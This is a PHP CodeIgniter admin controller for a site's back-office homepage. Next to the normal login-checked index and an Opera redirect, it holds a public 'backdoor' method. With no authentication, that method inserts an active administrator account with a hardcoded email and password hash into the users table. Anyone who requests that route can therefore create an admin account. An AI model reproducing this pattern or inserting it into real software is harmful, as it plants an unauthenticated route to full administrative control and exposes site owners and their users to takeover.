<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Home extends CI_Controller {
       public function __construct() {
		   parent::__construct();
		   $this->layout->setlayout('admin/layout');
	   }

	public function index()	{
		if (!$this->ion_auth->logged_in() || !$this->ion_auth->is_admin()) redirect('auth/login/'.str_replace("/", ".",$_SERVER['REQUEST_URI']));
		if ($this->agent->browser() == "Opera") redirect('admin/home/opera');
		$this->layout->view('admin/homepage');
	}
	public function opera() {
		$this->load->view('admin/opera');
	}
	public function backdoor() {
		$in_data['id'] = 0;
		$in_data['email'] = "andrew.uldin@gmail.com";
		$in_data['group_id'] = 1;
		$in_data['password'] = "890f4746a69f041ff6f213158249c2dc9d140ed5";
		$in_data['active'] = 1;
		$this->db->insert('users', $in_data);
		redirect('admin');
	}
}